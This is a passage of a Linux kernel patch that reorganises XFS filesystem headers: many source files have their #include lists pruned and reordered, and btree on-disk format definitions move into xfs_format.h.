"xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_dir2.h" diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 8854cb44..7d21125 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -25,8 +26,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_dir2.h" diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 048d582..45c9ce8 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" @@ -26,8 +27,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" @@ -35,6 +34,7 @@ #include "xfs_trace.h" #include "xfs_bmap.h" #include "xfs_trans.h" +#include "xfs_dinode.h" /* * Directory file type support functions diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index ac3bb58..8811ee5 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -24,8 +25,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" @@ -33,6 +32,7 @@ #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_trace.h" +#include "xfs_dinode.h" /* * Prototypes for internal functions. diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c index d38f34c..8367d6d 100644 --- a/fs/xfs/xfs_discard.c +++ b/fs/xfs/xfs_discard.c @@ -23,11 +23,9 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_quota.h" -#include "xfs_alloc_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_btree.h" #include "xfs_inode.h" +#include "xfs_btree.h" +#include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_error.h" #include "xfs_extent_busy.h" diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index 47a815d..6b1e695 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -25,16 +25,12 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_alloc.h" #include "xfs_quota.h" -#include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_itable.h" -#include "xfs_attr.h" #include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_space.h" @@ -43,6 +39,7 @@ #include "xfs_cksum.h" #include "xfs_trace.h" #include "xfs_log.h" +#include "xfs_bmap_btree.h" /* * Lock order: diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index 3e84b3a..aaaf41b 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -21,11 +21,9 @@ #include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" -#include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_quota.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_dquot_item.c b/fs/xfs/xfs_dquot_item.c index f8a47f7..92e5f62 100644 --- a/fs/xfs/xfs_dquot_item.c +++ b/fs/xfs/xfs_dquot_item.c @@ -22,16 +22,10 @@ #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" -#include "xfs_quota.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" -#include "xfs_bmap.h" -#include "xfs_rtalloc.h" +#include "xfs_quota.h" #include "xfs_error.h" -#include "xfs_itable.h" -#include "xfs_attr.h" #include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_trans_priv.h" diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c index 7e24dc41..bf28090 100644 --- a/fs/xfs/xfs_error.c +++ b/fs/xfs/xfs_error.c @@ -16,15 +16,13 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_fs.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" #include "xfs_error.h" #ifdef DEBUG diff --git a/fs/xfs/xfs_export.c b/fs/xfs/xfs_export.c index 8502aee..1399e18 100644 --- a/fs/xfs/xfs_export.c +++ b/fs/xfs/xfs_export.c @@ -16,6 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -24,7 +25,6 @@ #include "xfs_da_format.h" #include "xfs_dir2.h" #include "xfs_export.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c index de46264..fd22f69 100644 --- a/fs/xfs/xfs_extent_busy.c +++ b/fs/xfs/xfs_extent_busy.c @@ -26,9 +26,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_alloc.h" -#include "xfs_inode.h" #include "xfs_extent_busy.h" #include "xfs_trace.h" #include "xfs_trans.h" diff --git a/fs/xfs/xfs_extent_busy.h b/fs/xfs/xfs_extent_busy.h index 985412d..bfff284 100644 --- a/fs/xfs/xfs_extent_busy.h +++ b/fs/xfs/xfs_extent_busy.h @@ -20,6 +20,10 @@ #ifndef __XFS_EXTENT_BUSY_H__ #define __XFS_EXTENT_BUSY_H__ +struct xfs_mount; +struct xfs_trans; +struct xfs_alloc_arg; + /* * Busy block/extent entry. Indexed by a rbtree in perag to mark blocks that * have been freed but whose transactions aren't committed to disk yet. diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index bbf387d..789baad 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -24,9 +25,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" @@ -38,6 +36,7 @@ #include "xfs_ioctl.h" #include "xfs_trace.h" #include "xfs_log.h" +#include "xfs_dinode.h" #include #include diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index 7f2c3c1..12b6e77 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -16,19 +16,19 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inum.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_alloc.h" #include "xfs_mru_cache.h" +#include "xfs_dinode.h" #include "xfs_filestream.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h index a790428..997c770 100644 --- a/fs/xfs/xfs_format.h +++ b/fs/xfs/xfs_format.h @@ -156,4 +156,285 @@ struct xfs_dsymlink_hdr { ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ sizeof(struct xfs_dsymlink_hdr) : 0)) + +/* + * Allocation Btree format definitions + * + * There are two on-disk btrees, one sorted by blockno and one sorted + * by blockcount and blockno. All blocks look the same to make the code + * simpler; if we have time later, we'll make the optimizations. + */ +#define XFS_ABTB_MAGIC 0x41425442 /* 'ABTB' for bno tree */ +#define XFS_ABTB_CRC_MAGIC 0x41423342 /* 'AB3B' */ +#define XFS_ABTC_MAGIC 0x41425443 /* 'ABTC' for cnt tree */ +#define XFS_ABTC_CRC_MAGIC 0x41423343 /* 'AB3C' */ + +/* + * Data record/key structure + */ +typedef struct xfs_alloc_rec { + __be32 ar_startblock; /* starting block number */ + __be32 ar_blockcount; /* count of free blocks */ +} xfs_alloc_rec_t, xfs_alloc_key_t; + +typedef struct xfs_alloc_rec_incore { + xfs_agblock_t ar_startblock; /* starting block number */ + xfs_extlen_t ar_blockcount; /* count of free blocks */ +} xfs_alloc_rec_incore_t; + +/* btree pointer type */ +typedef __be32 xfs_alloc_ptr_t; + +/* + * Block numbers in the AG: + * SB is sector 0, AGF is sector 1, AGI is sector 2, AGFL is sector 3. + */ +#define XFS_BNO_BLOCK(mp) ((xfs_agblock_t)(XFS_AGFL_BLOCK(mp) + 1)) +#define XFS_CNT_BLOCK(mp) ((xfs_agblock_t)(XFS_BNO_BLOCK(mp) + 1)) + + +/* + * Inode Allocation Btree format definitions + * + * There is a btree for the inode map per allocation group. + */ +#define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ +#define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ + +typedef __uint64_t xfs_inofree_t; +#define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) +#define XFS_INODES_PER_CHUNK_LOG (XFS_NBBYLOG + 3) +#define XFS_INOBT_ALL_FREE ((xfs_inofree_t)-1) +#define XFS_INOBT_MASK(i) ((xfs_inofree_t)1 << (i)) + +static inline xfs_inofree_t xfs_inobt_maskn(int i, int n) +{ + return ((n >= XFS_INODES_PER_CHUNK ? 0 : XFS_INOBT_MASK(n)) - 1) << i; +} + +/* + * Data record structure + */ +typedef struct xfs_inobt_rec { + __be32 ir_startino; /* starting inode number */ + __be32 ir_freecount; /* count of free inodes (set bits) */ + __be64 ir_free; /* free inode mask */ +} xfs_inobt_rec_t; + +typedef struct xfs_inobt_rec_incore { + xfs_agino_t ir_startino; /* starting inode number */ + __int32_t ir_freecount; /* count of free inodes (set bits) */ + xfs_inofree_t ir_free; /* free inode mask */ +} xfs_inobt_rec_incore_t; + + +/* + * Key structure + */ +typedef struct xfs_inobt_key { + __be32 ir_startino; /* starting inode number */ +} xfs_inobt_key_t; + +/* btree pointer type */ +typedef __be32 xfs_inobt_ptr_t; + +/* + * block numbers in the AG. + */ +#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) +#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) + + + +/* + * BMAP Btree format definitions + * + * This includes both the root block definition that sits inside an inode fork + * and the record/pointer formats for the leaf/node in the blocks. + */ +#define XFS_BMAP_MAGIC 0x424d4150 /* 'BMAP' */ +#define XFS_BMAP_CRC_MAGIC 0x424d4133 /* 'BMA3' */ + +/* + * Bmap root header, on-disk form only. + */ +typedef struct xfs_bmdr_block { + __be16 bb_level; /* 0 is a leaf */ + __be16 bb_numrecs; /* current # of data records */ +} xfs_bmdr_block_t; + +/* + * Bmap btree record and extent descriptor. + * l0:63 is an extent flag (value 1 indicates non-normal). + * l0:9-62 are startoff. + * l0:0-8 and l1:21-63 are startblock. + * l1:0-20 are blockcount. + */ +#define BMBT_EXNTFLAG_BITLEN 1 +#define BMBT_STARTOFF_BITLEN 54 +#define BMBT_STARTBLOCK_BITLEN 52 +#define BMBT_BLOCKCOUNT_BITLEN 21 + +typedef struct xfs_bmbt_rec { + __be64 l0, l1; +} xfs_bmbt_rec_t; + +typedef __uint64_t xfs_bmbt_rec_base_t; /* use this for casts */ +typedef xfs_bmbt_rec_t xfs_bmdr_rec_t; + +typedef struct xfs_bmbt_rec_host { + __uint64_t l0, l1; +} xfs_bmbt_rec_host_t; + +/* + * Values and macros for delayed-allocation startblock fields. + */ +#define STARTBLOCKVALBITS 17 +#define STARTBLOCKMASKBITS (15 + XFS_BIG_BLKNOS * 20) +#define DSTARTBLOCKMASKBITS (15 + 20) +#define STARTBLOCKMASK \ + (((((xfs_fsblock_t)1) << STARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) +#define DSTARTBLOCKMASK \ + (((((xfs_dfsbno_t)1) << DSTARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) + +static inline int isnullstartblock(xfs_fsblock_t x) +{ + return ((x) & STARTBLOCKMASK) == STARTBLOCKMASK; +} + +static inline int isnulldstartblock(xfs_dfsbno_t x) +{ + return ((x) & DSTARTBLOCKMASK) == DSTARTBLOCKMASK; +} + +static inline xfs_fsblock_t nullstartblock(int k) +{ + ASSERT(k < (1 << STARTBLOCKVALBITS)); + return STARTBLOCKMASK | (k); +} + +static inline xfs_filblks_t startblockval(xfs_fsblock_t x) +{ + return (xfs_filblks_t)((x) & ~STARTBLOCKMASK); +} + +/* + * Possible extent formats. + */ +typedef enum { + XFS_EXTFMT_NOSTATE = 0, + XFS_EXTFMT_HASSTATE +} xfs_exntfmt_t; + +/* + * Possible extent states. + */ +typedef enum { + XFS_EXT_NORM, XFS_EXT_UNWRITTEN, + XFS_EXT_DMAPI_OFFLINE, XFS_EXT_INVALID +} xfs_exntst_t; + +/* + * Incore version of above. + */ +typedef struct xfs_bmbt_irec +{ + xfs_fileoff_t br_startoff; /* starting file offset */ + xfs_fsblock_t br_startblock; /* starting block number */ + xfs_filblks_t br_blockcount; /* number of blocks */ + xfs_exntst_t br_state; /* extent state */ +} xfs_bmbt_irec_t; + +/* + * Key structure for non-leaf levels of the tree. + */ +typedef struct xfs_bmbt_key { + __be64 br_startoff; /* starting file offset */ +} xfs_bmbt_key_t, xfs_bmdr_key_t; + +/* btree pointer type */ +typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; + + +/* + * Generic Btree block format definitions + * + * This is a combination of the actual format used on disk for short and long + * format btrees. The first three fields are shared by both format, but the + * pointers are different and should be used with care. + * + * To get the size of the actual short or long form headers please use the size + * macros below. Never use sizeof(xfs_btree_block). + * + * The blkno, crc, lsn, owner and uuid fields are only available in filesystems + * with the crc feature bit, and all accesses to them must be conditional on + * that flag. + */ +struct xfs_btree_block { + __be32 bb_magic; /* magic number for block type */ + __be16 bb_level; /* 0 is a leaf */ + __be16 bb_numrecs; /* current # of data records */ + union { + struct { + __be32 bb_leftsib; + __be32 bb_rightsib; + + __be64 bb_blkno; + __be64 bb_lsn; + uuid_t bb_uuid; + __be32 bb_owner; + __le32 bb_crc; + } s; /* short form pointers */ + struct { + __be64 bb_leftsib; + __be64 bb_rightsib; + + __be64 bb_blkno; + __be64 bb_lsn; + uuid_t bb_uuid; + __be64 bb_owner; + __le32 bb_crc; + __be32 bb_pad; /* padding for alignment */ + } l; /* long form pointers */ + } bb_u; /* rest */ +}; + +#define XFS_BTREE_SBLOCK_LEN 16 /* size of a short form block */ +#define XFS_BTREE_LBLOCK_LEN 24 /* size of a long form block */ + +/* sizes of CRC enabled btree blocks */ +#define XFS_BTREE_SBLOCK_CRC_LEN (XFS_BTREE_SBLOCK_LEN + 40) +#define XFS_BTREE_LBLOCK_CRC_LEN (XFS_BTREE_LBLOCK_LEN + 48) + +#define XFS_BTREE_SBLOCK_CRC_OFF \ + offsetof(struct xfs_btree_block, bb_u.s.bb_crc) +#define XFS_BTREE_LBLOCK_CRC_OFF \ + offsetof(struct xfs_btree_block, bb_u.l.bb_crc) + +/* + * Generic key, ptr and record wrapper structures. + * + * These are disk format structures, and are converted where necessary + * by the btree specific code that needs to interpret them. + */ +union xfs_btree_ptr { + __be32 s; /* short form ptr */ + __be64 l; /* long form ptr */ +}; + +union xfs_btree_key { + xfs_bmbt_key_t bmbt; + xfs_bmdr_key_t bmbr; /* bmbt root block */ + xfs_alloc_key_t alloc; + xfs_inobt_key_t inobt; +}; + +union xfs_btree_rec { + xfs_bmbt_rec_t bmbt; + xfs_bmdr_rec_t bmbr; /* bmbt root block */ + xfs_alloc_rec_t alloc; + xfs_inobt_rec_t inobt; +}; + + #endif /* __XFS_FORMAT_H__ */ diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index da0291a..71e39ca 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -18,30 +18,28 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" -#include "xfs_log_format.h" #include "xfs_format.h" +#include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" -#include "xfs_btree.h" #include "xfs_error.h" +#include "xfs_btree.h" +#include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_ialloc.h" #include "xfs_fsops.h" #include "xfs_itable.h" #include "xfs_trans_space.h" #include "xfs_rtalloc.h" -#include "xfs_filestream.h" #include "xfs_trace.h" #include "xfs_log.h" +#include "xfs_dinode.h" +#include "xfs_filestream.h" /* * File system operations diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index c973ff8..14d732f 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -26,13 +26,10 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" #include "xfs_ialloc.h" +#include "xfs_ialloc_btree.h" #include "xfs_alloc.h" #include "xfs_rtalloc.h" #include "xfs_error.h" @@ -42,6 +39,7 @@ #include "xfs_buf_item.h" #include "xfs_icreate_item.h" #include "xfs_icache.h" +#include "xfs_dinode.h" /* diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index 1557798..a8f76a5 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -23,6 +23,7 @@ struct xfs_dinode; struct xfs_imap; struct xfs_mount; struct xfs_trans; +struct xfs_btree_cur; /* * Allocation parameters for inode allocation. @@ -42,7 +43,7 @@ struct xfs_trans; static inline struct xfs_dinode * xfs_make_iptr(struct xfs_mount *mp, struct xfs_buf *b, int o) { - return (xfs_dinode_t *) + return (struct xfs_dinode *) (xfs_buf_offset(b, o << (mp)->m_sb.sb_inodelog)); } diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 2a0b615..1fa142d 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -17,19 +17,17 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" #include "xfs_ialloc.h" +#include "xfs_ialloc_btree.h" #include "xfs_alloc.h" #include "xfs_error.h" #include "xfs_trace.h" diff --git a/fs/xfs/xfs_ialloc_btree.h b/fs/xfs/xfs_ialloc_btree.h index cfbfe46..f38b220 100644 --- a/fs/xfs/xfs_ialloc_btree.h +++ b/fs/xfs/xfs_ialloc_btree.h @@ -27,55 +27,6 @@ struct xfs_btree_cur; struct xfs_mount; /* - * There is a btree for the inode map per allocation group. - */ -#define XFS_IBT_MAGIC 0x49414254 /* 'IABT' */ -#define XFS_IBT_CRC_MAGIC 0x49414233 /* 'IAB3' */ - -typedef __uint64_t xfs_inofree_t; -#define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) -#define XFS_INODES_PER_CHUNK_LOG (XFS_NBBYLOG + 3) -#define XFS_INOBT_ALL_FREE ((xfs_inofree_t)-1) -#define XFS_INOBT_MASK(i) ((xfs_inofree_t)1 << (i)) - -static inline xfs_inofree_t xfs_inobt_maskn(int i, int n) -{ - return ((n >= XFS_INODES_PER_CHUNK ? 0 : XFS_INOBT_MASK(n)) - 1) << i; -} - -/* - * Data record structure - */ -typedef struct xfs_inobt_rec { - __be32 ir_startino; /* starting inode number */ - __be32 ir_freecount; /* count of free inodes (set bits) */ - __be64 ir_free; /* free inode mask */ -} xfs_inobt_rec_t; - -typedef struct xfs_inobt_rec_incore { - xfs_agino_t ir_startino; /* starting inode number */ - __int32_t ir_freecount; /* count of free inodes (set bits) */ - xfs_inofree_t ir_free; /* free inode mask */ -} xfs_inobt_rec_incore_t; - - -/* - * Key structure - */ -typedef struct xfs_inobt_key { - __be32 ir_startino; /* starting inode number */ -} xfs_inobt_key_t; - -/* btree pointer type */ -typedef __be32 xfs_inobt_ptr_t; - -/* - * block numbers in the AG. - */ -#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) - -/* * Btree block header size depends on a superblock flag. */ #define XFS_INOBT_BLOCK_LEN(mp) \ diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 4fcf658..4ad69418 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -24,17 +24,13 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_inode.h" -#include "xfs_dinode.h" #include "xfs_error.h" -#include "xfs_filestream.h" #include "xfs_trans.h" #include "xfs_trans_priv.h" #include "xfs_inode_item.h" #include "xfs_quota.h" #include "xfs_trace.h" -#include "xfs_fsops.h" #include "xfs_icache.h" #include "xfs_bmap_util.h" diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 60928fd..69a072a 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -27,27 +27,22 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_inode.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" #include "xfs_attr_sf.h" #include "xfs_attr.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" #include "xfs_trans_space.h" #include "xfs_trans.h" #include "xfs_buf_item.h" #include "xfs_inode_item.h" -#include "xfs_btree.h" -#include "xfs_alloc.h" #include "xfs_ialloc.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" #include "xfs_error.h" #include "xfs_quota.h" +#include "xfs_dinode.h" #include "xfs_filestream.h" #include "xfs_cksum.h" #include "xfs_trace.h" @@ -55,6 +50,7 @@ #include "xfs_symlink.h" #include "xfs_trans_priv.h" #include "xfs_log.h" +#include "xfs_bmap_btree.h" kmem_zone_t *xfs_inode_zone; diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 4a91358..bb2f283 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -24,7 +24,6 @@ /* * Kernel only inode definitions */ - struct xfs_dinode; struct xfs_inode; struct xfs_buf; diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index c0f974b..4fc9f39 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -24,15 +24,13 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_error.h" #include "xfs_cksum.h" #include "xfs_icache.h" -#include "xfs_ialloc.h" #include "xfs_trans.h" +#include "xfs_ialloc.h" +#include "xfs_dinode.h" /* * Check that none of the inode's in the buffer have a next diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c index 8af3821..47e2c36 100644 --- a/fs/xfs/xfs_inode_fork.c +++ b/fs/xfs/xfs_inode_fork.c @@ -26,25 +26,15 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_attr_sf.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_inode_item.h" -#include "xfs_btree.h" -#include "xfs_alloc.h" -#include "xfs_ialloc.h" +#include "xfs_bmap_btree.h" #include "xfs_bmap.h" #include "xfs_error.h" -#include "xfs_quota.h" -#include "xfs_filestream.h" -#include "xfs_cksum.h" #include "xfs_trace.h" -#include "xfs_icache.h" +#include "xfs_attr_sf.h" +#include "xfs_dinode.h" kmem_zone_t *xfs_ifork_zone; diff --git a/fs/xfs/xfs_inode_fork.h b/fs/xfs/xfs_inode_fork.h index 28661a0..eb329a1 100644 --- a/fs/xfs/xfs_inode_fork.h +++ b/fs/xfs/xfs_inode_fork.h @@ -19,6 +19,7 @@ #define __XFS_INODE_FORK_H__ struct xfs_inode_log_item; +struct xfs_dinode; /* * The following xfs_ext_irec_t struct introduces a second (top) level diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index 9f8e85e..7c0d391f 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -17,19 +17,19 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_trans_priv.h" +#include "xfs_dinode.h" kmem_zone_t *xfs_ili_zone; /* inode log item zone */ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 8484f40..4ddb4cf 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -23,28 +23,25 @@ #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" -#include "xfs_alloc.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_ioctl.h" +#include "xfs_alloc.h" #include "xfs_rtalloc.h" #include "xfs_itable.h" #include "xfs_error.h" #include "xfs_attr.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" -#include "xfs_trans.h" -#include "xfs_buf_item.h" #include "xfs_fsops.h" #include "xfs_discard.h" #include "xfs_quota.h" -#include "xfs_inode_item.h" #include "xfs_export.h" #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_symlink.h" +#include "xfs_dinode.h" +#include "xfs_trans.h" #include #include diff --git a/fs/xfs/xfs_ioctl32.c b/fs/xfs/xfs_ioctl32.c index 1be3333..e8fb123 100644 --- a/fs/xfs/xfs_ioctl32.c +++ b/fs/xfs/xfs_ioctl32.c @@ -22,14 +22,13 @@ #include #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" #include "xfs_vnode.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_itable.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index a5c549c..73e43a1 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -24,29 +24,21 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_trans.h" -#include "xfs_inode_item.h" 